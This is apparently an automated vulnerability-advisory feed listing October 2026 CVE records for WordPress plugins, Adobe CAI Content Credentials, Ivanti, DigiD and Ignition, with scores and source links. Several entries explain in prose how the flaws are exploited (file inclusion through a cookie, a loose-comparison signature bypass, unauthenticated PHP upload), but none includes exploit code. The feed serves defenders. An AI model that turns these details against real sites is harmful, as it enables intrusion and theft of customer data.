CVSS 9.9 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109412).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109412&date=2026-10-25).
Sources:
NVD CVE-2026-109412: https://nvd.nist.gov/vuln/detail/CVE-2026-109412
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109412&date=2026-10-25
An exposed dangerous endpoint in Ivanti Neurons Patch for Intune allows a remote authenticated attacker to leak sensitive authentication information.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The BP Profile Search plugin for WordPress is vulnerable to Local File Inclusion in versions up to, and including, 5.9 via the 'ajax_template' value parsed from the...
https://kevwire.com/record/CVE-2026-104995
The BP Profile Search plugin for WordPress is vulnerable to Local File Inclusion in versions up to, and including, 5.9 via the 'ajax_template' value parsed from the... (Oct 14, 2026).
The BP Profile Search plugin for WordPress is vulnerable to Local File Inclusion in versions up to, and including, 5.9 via the 'ajax_template' value parsed from the client-controlled 'bps_directory' cookie during BuddyPress AJAX directory requests. The bps_directory_ajax() filter (hooked onto bp_legacy_object_template_path and bp_nouveau_object_template_path) reads the cookie, applies only a referer-derived 'page' comparison in bps_get_directory_data() (where bps_current_page() uses HTTP_REFERER during AJAX and is therefore also attacker-controlled), and then suffixes the attacker-controlled template value with '.php' and passes it to bp_locate_template() with no basename restriction, no whitelist, and no path-traversal check. This makes it possible for unauthenticated attackers to include arbitrary PHP files on the server, which can lead to remote code execution when PHP files can be uploaded or when images such as the default wordpress:php8.
CVSS 8.1 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-104995).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-104995&date=2026-10-25).
Sources:
NVD CVE-2026-104995: https://nvd.nist.gov/vuln/detail/CVE-2026-104995
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-104995&date=2026-10-25
The BP Profile Search plugin for WordPress is vulnerable to Local File Inclusion in versions up to, and including, 5.9 via the 'ajax_template' value parsed from the client-controlled 'bps_directory' cookie during BuddyPress AJAX directory requests. The bps_directory_ajax() filter (hooked onto bp_legacy_object_template_path and bp_nouveau_object_template_path) reads the cookie, applies only a referer-derived 'page' comparison in bps_get_directory_data() (where bps_current_page() uses HTTP_REFERER during AJAX and is therefore also attacker-controlled), and then suffixes the attacker-controlled template value with '.php' and passes it to bp_locate_template() with no basename restriction, no whitelist, and no path-traversal check. This makes it possible for unauthenticated attackers to include arbitrary PHP files on the server, which can lead to remote code execution when PHP files can be uploaded or when images such as the default wordpress:php8.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### CAI Content Credentials is affected by an Improper Input Validation vulnerability that could result in a Security feature bypass.
https://kevwire.com/record/CVE-2026-104345
CAI Content Credentials is affected by an Improper Input Validation vulnerability that could result in a Security feature bypass. (Oct 13, 2026).
CAI Content Credentials is affected by an Improper Input Validation vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.
CVSS 7.5 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-104345).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-104345&date=2026-10-25).
Sources:
NVD CVE-2026-104345: https://nvd.nist.gov/vuln/detail/CVE-2026-104345
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/content-credentials-sdk/apsb26-163.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-104345&date=2026-10-25
CAI Content Credentials is affected by an Improper Input Validation vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Booking Package plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 1.7.29 This is due to the plugin not properly verifying that a...
https://kevwire.com/record/CVE-2026-103423
The Booking Package plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 1.7.29 This is due to the plugin not properly verifying that a... (Oct 14, 2026).
The Booking Package plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 1.7.29 This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to retrieve personally identifiable information for every booked customer stored in the booking_package_booked_customers table, including names, email addresses, phone numbers, physical addresses, and cancellation tokens. The nonce nominally protecting the endpoint is a public CSRF token emitted in the localized booking_package JavaScript object on any page rendering the [booking_package] shortcode or widget, making it trivially harvestable by unauthenticated visitors and providing no effective authentication barrier.
CVSS 7.5 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103423).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103423&date=2026-10-25).
Sources:
NVD CVE-2026-103423: https://nvd.nist.gov/vuln/detail/CVE-2026-103423
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103423&date=2026-10-25
The Booking Package plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 1.7.29 This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to retrieve personally identifiable information for every booked customer stored in the booking_package_booked_customers table, including names, email addresses, phone numbers, physical addresses, and cancellation tokens. The nonce nominally protecting the endpoint is a public CSRF token emitted in the localized booking_package JavaScript object on any page rendering the [booking_package] shortcode or widget, making it trivially harvestable by unauthenticated visitors and providing no effective authentication barrier.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The macOS version of the DigiD app is not signed with Hardened Runtime.
https://kevwire.com/record/CVE-2026-103316
The macOS version of the DigiD app is not signed with Hardened Runtime. (Oct 13, 2026).
The macOS version of the DigiD app is not signed with Hardened Runtime. As a result, a local process can load its own dylib into DigiD via DYLD_INSERT_LIBRARIES.  An attacker with local user-level code execution can execute arbitrary code within the macOS version of the DigiD app, thereby gaining access to DigiD data and cryptographic capabilities that the process normally does not have. Reported by Kun Peeks (@SwayZGl1tZyyy)
CVSS 7.1 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103316).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103316&date=2026-10-25).
Sources:
NVD CVE-2026-103316: https://nvd.nist.gov/vuln/detail/CVE-2026-103316
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103316&date=2026-10-25
The macOS version of the DigiD app is not signed with Hardened Runtime. As a result, a local process can load its own dylib into DigiD via DYLD_INSERT_LIBRARIES.  An attacker with local user-level code execution can execute arbitrary code within the macOS version of the DigiD app, thereby gaining access to DigiD data and cryptographic capabilities that the process normally does not have. Reported by Kun Peeks (@SwayZGl1tZyyy)

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### CAI Content Credentials is affected by an Improper Verification of Cryptographic Signature vulnerability that could result in a Security feature bypass.
https://kevwire.com/record/CVE-2026-103297
CAI Content Credentials is affected by an Improper Verification of Cryptographic Signature vulnerability that could result in a Security feature bypass. (Oct 13, 2026).
CAI Content Credentials is affected by an Improper Verification of Cryptographic Signature vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.
CVSS 7.5 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103297).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103297&date=2026-10-25).
Sources:
NVD CVE-2026-103297: https://nvd.nist.gov/vuln/detail/CVE-2026-103297
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/content-credentials-sdk/apsb26-163.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103297&date=2026-10-25
CAI Content Credentials is affected by an Improper Verification of Cryptographic Signature vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Bit integrations – Form Integration, Webhook, Spreadsheets, CRM, LMS & Email Automation plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'field mapped...
https://kevwire.com/record/CVE-2026-102007
The Bit integrations – Form Integration, Webhook, Spreadsheets, CRM, LMS & Email Automation plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'field mapped... (Oct 13, 2026).
The Bit integrations – Form Integration, Webhook, Spreadsheets, CRM, LMS & Email Automation plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'field mapped to notification_content (attacker-chosen key, e.g. payload_text)' parameter in all versions up to, and including, 2.10.6 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Exploitation requires a site administrator to have preconfigured a Bit Integrations flow that binds the public Bit Assist webhook to a BuddyBoss "Send Notification" action with a form field mapped to notification_content, and the attacker to know the flow's UUID callback URL.
CVSS 7.2 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102007).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102007&date=2026-10-25).
Sources:
NVD CVE-2026-102007: https://nvd.nist.gov/vuln/detail/CVE-2026-102007
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102007&date=2026-10-25
The Bit integrations – Form Integration, Webhook, Spreadsheets, CRM, LMS & Email Automation plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'field mapped to notification_content (attacker-chosen key, e.g. payload_text)' parameter in all versions up to, and including, 2.10.6 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Exploitation requires a site administrator to have preconfigured a Bit Integrations flow that binds the public Bit Assist webhook to a BuddyBoss "Send Notification" action with a form field mapped to notification_content, and the attacker to know the flow's UUID callback URL.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The NewStatPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.4.5 via the 'Last referrers' meta box on the plugin's...
https://kevwire.com/record/CVE-2026-101924
The NewStatPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.4.5 via the 'Last referrers' meta box on the plugin's... (Oct 14, 2026).
The NewStatPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.4.5 via the 'Last referrers' meta box on the plugin's Overview admin page. This is due to insufficient output escaping of the visitor-supplied query string that the plugin records in its statistics table: the newstatpress_generate_overview_lastreferrers() function concatenates the stored urlrequested value into a single-quoted href attribute after only FILTER_SANITIZE_URL, which does not encode the apostrophe. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a high-privileged user, such as an administrator, accesses the Overview page and hovers the injected link.
CVSS 7.2 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101924).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101924&date=2026-10-25).
Sources:
NVD CVE-2026-101924: https://nvd.nist.gov/vuln/detail/CVE-2026-101924
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101924&date=2026-10-25
The NewStatPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.4.5 via the 'Last referrers' meta box on the plugin's Overview admin page. This is due to insufficient output escaping of the visitor-supplied query string that the plugin records in its statistics table: the newstatpress_generate_overview_lastreferrers() function concatenates the stored urlrequested value into a single-quoted href attribute after only FILTER_SANITIZE_URL, which does not encode the apostrophe. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a high-privileged user, such as an administrator, accesses the Overview page and hovers the injected link.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### CAI Content Credentials is affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service.
https://kevwire.com/record/CVE-2026-100138
CAI Content Credentials is affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service. (Oct 13, 2026).
CAI Content Credentials is affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service. An attacker could exploit this vulnerability to exhaust system resources, resulting in an application denial-of-service condition. Exploitation of this issue does not require user interaction.
CVSS 7.5 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-100138).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-100138&date=2026-10-25).
Sources:
NVD CVE-2026-100138: https://nvd.nist.gov/vuln/detail/CVE-2026-100138
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/content-credentials-sdk/apsb26-163.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-100138&date=2026-10-25
CAI Content Credentials is affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service. An attacker could exploit this vulnerability to exhaust system resources, resulting in an application denial-of-service condition. Exploitation of this issue does not require user interaction.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### CAI Content Credentials is affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service.
https://kevwire.com/record/CVE-2026-100139
CAI Content Credentials is affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service. (Oct 13, 2026).
CAI Content Credentials is affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service. An attacker could exploit this vulnerability to exhaust system resources, resulting in an application denial-of-service condition. Exploitation of this issue does not require user interaction.
CVSS 7.5 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-100139).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-100139&date=2026-10-25).
Sources:
NVD CVE-2026-100139: https://nvd.nist.gov/vuln/detail/CVE-2026-100139
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/content-credentials-sdk/apsb26-163.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-100139&date=2026-10-25
CAI Content Credentials is affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service. An attacker could exploit this vulnerability to exhaust system resources, resulting in an application denial-of-service condition. Exploitation of this issue does not require user interaction.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### CAI Content Credentials is affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service.
https://kevwire.com/record/CVE-2026-105902
CAI Content Credentials is affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service. (Oct 13, 2026).
CAI Content Credentials is affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service. An attacker could exploit this vulnerability to exhaust system resources, resulting in an application denial-of-service condition. Exploitation of this issue does not require user interaction.
CVSS 7.5 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105902).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105902&date=2026-10-25).
Sources:
NVD CVE-2026-105902: https://nvd.nist.gov/vuln/detail/CVE-2026-105902
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/content-credentials-sdk/apsb26-163.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105902&date=2026-10-25
CAI Content Credentials is affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service. An attacker could exploit this vulnerability to exhaust system resources, resulting in an application denial-of-service condition. Exploitation of this issue does not require user interaction.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### CAI Content Credentials is affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service.
https://kevwire.com/record/CVE-2026-106627
CAI Content Credentials is affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service. (Oct 13, 2026).
CAI Content Credentials is affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service. An attacker could exploit this vulnerability to exhaust system resources, resulting in an application denial-of-service condition. Exploitation of this issue does not require user interaction.
CVSS 7.5 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-106627).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-106627&date=2026-10-25).
Sources:
NVD CVE-2026-106627: https://nvd.nist.gov/vuln/detail/CVE-2026-106627
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/content-credentials-sdk/apsb26-163.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-106627&date=2026-10-25
CAI Content Credentials is affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service. An attacker could exploit this vulnerability to exhaust system resources, resulting in an application denial-of-service condition. Exploitation of this issue does not require user interaction.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### CAI Content Credentials is affected by an Improper Verification of Cryptographic Signature vulnerability that could result in a Security feature bypass.
https://kevwire.com/record/CVE-2026-103296
CAI Content Credentials is affected by an Improper Verification of Cryptographic Signature vulnerability that could result in a Security feature bypass. (Oct 13, 2026).
CAI Content Credentials is affected by an Improper Verification of Cryptographic Signature vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.
CVSS 7.5 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103296).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103296&date=2026-10-25).
Sources:
NVD CVE-2026-103296: https://nvd.nist.gov/vuln/detail/CVE-2026-103296
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/content-credentials-sdk/apsb26-163.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103296&date=2026-10-25
CAI Content Credentials is affected by an Improper Verification of Cryptographic Signature vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Gmedia Photo Gallery plugin for WordPress is vulnerable to time-based SQL Injection via the 'gmedia__in' parameter in all versions up to, and including, 1.25.1 due to...
https://kevwire.com/record/CVE-2026-96661
The Gmedia Photo Gallery plugin for WordPress is vulnerable to time-based SQL Injection via the 'gmedia__in' parameter in all versions up to, and including, 1.25.1 due to... (Oct 14, 2026).
The Gmedia Photo Gallery plugin for WordPress is vulnerable to time-based SQL Injection via the 'gmedia__in' parameter in all versions up to, and including, 1.25.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. The unauthenticated mobile app endpoint dispatches the library action without validating the Mobile App feature flag, a nonce, or any WordPress authentication, meaning no account or session of any kind is required to exploit this vulnerability.
CVSS 7.5 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96661).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96661&date=2026-10-25).
Sources:
NVD CVE-2026-96661: https://nvd.nist.gov/vuln/detail/CVE-2026-96661
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96661&date=2026-10-25
The Gmedia Photo Gallery plugin for WordPress is vulnerable to time-based SQL Injection via the 'gmedia__in' parameter in all versions up to, and including, 1.25.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. The unauthenticated mobile app endpoint dispatches the library action without validating the Mobile App feature flag, a nonce, or any WordPress authentication, meaning no account or session of any kind is required to exploit this vulnerability.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Verified Reviews (Avis Vérifiés) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'moderation' parameter in all versions up to, and including, 2.4.6...
https://kevwire.com/record/CVE-2026-94377
The Verified Reviews (Avis Vérifiés) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'moderation' parameter in all versions up to, and including, 2.4.6... (Oct 14, 2026).
The Verified Reviews (Avis Vérifiés) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'moderation' parameter in all versions up to, and including, 2.4.6 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The authentication bypass is possible because ntav_check_data() uses loose != comparisons for signature verification, allowing a JSON body with boolean true values for idWebsite and sign to pass all checks on any configured installation.
CVSS 7.2 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-94377).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-94377&date=2026-10-25).
Sources:
NVD CVE-2026-94377: https://nvd.nist.gov/vuln/detail/CVE-2026-94377
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-94377&date=2026-10-25
The Verified Reviews (Avis Vérifiés) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'moderation' parameter in all versions up to, and including, 2.4.6 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The authentication bypass is possible because ntav_check_data() uses loose != comparisons for signature verification, allowing a JSON body with boolean true values for idWebsite and sign to pass all checks on any configured installation.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Printcart Store (PCDesigner / NB Designer) plugin for WooCommerce is vulnerable to unauthenticated arbitrary file upload leading to remote code execution in all versions up...
https://kevwire.com/record/CVE-2026-93388
The Printcart Store (PCDesigner / NB Designer) plugin for WooCommerce is vulnerable to unauthenticated arbitrary file upload leading to remote code execution in all versions up... (Oct 14, 2026).
The Printcart Store (PCDesigner / NB Designer) plugin for WooCommerce is vulnerable to unauthenticated arbitrary file upload leading to remote code execution in all versions up to, and including, 2.9.1 The nbdesigner_copy_image_from_url AJAX action is registered for logged-out callers (wp_ajax_nopriv_), and its Google Drive branch rebuilds the destination filename from the raw, attacker-supplied gapi[name] parameter — bypassing the jpg/jpeg/png/gif allow-list applied on the other branch — and writes the fetched bytes to a web-accessible directory (wp-content/uploads/nbdesigner/temp/). This makes it possible for unauthenticated attackers to write a .php file to a web-served, PHP-executing location and, by supplying their own Google Drive file and OAuth token as the content source, execute arbitrary code on the server. The required save-design nonce is handed to anonymous callers by the nbd_check_use_logged_in endpoint, so it presents no barrier.
CVSS 9.8 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-93388).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-93388&date=2026-10-25).
Sources:
NVD CVE-2026-93388: https://nvd.nist.gov/vuln/detail/CVE-2026-93388
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-93388&date=2026-10-25
The Printcart Store (PCDesigner / NB Designer) plugin for WooCommerce is vulnerable to unauthenticated arbitrary file upload leading to remote code execution in all versions up to, and including, 2.9.1 The nbdesigner_copy_image_from_url AJAX action is registered for logged-out callers (wp_ajax_nopriv_), and its Google Drive branch rebuilds the destination filename from the raw, attacker-supplied gapi[name] parameter — bypassing the jpg/jpeg/png/gif allow-list applied on the other branch — and writes the fetched bytes to a web-accessible directory (wp-content/uploads/nbdesigner/temp/). This makes it possible for unauthenticated attackers to write a .php file to a web-served, PHP-executing location and, by supplying their own Google Drive file and OAuth token as the content source, execute arbitrary code on the server. The required save-design nonce is handed to anonymous callers by the nbd_check_use_logged_in endpoint, so it presents no barrier.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Ignition Perspective module does not properly validate session privileges when determining Designer-level access.
https://kevwire.com/record/CVE-2026-92817
The Ignition Perspective module does not properly validate session privileges when determining Designer-level access. (Oct 14, 2026).
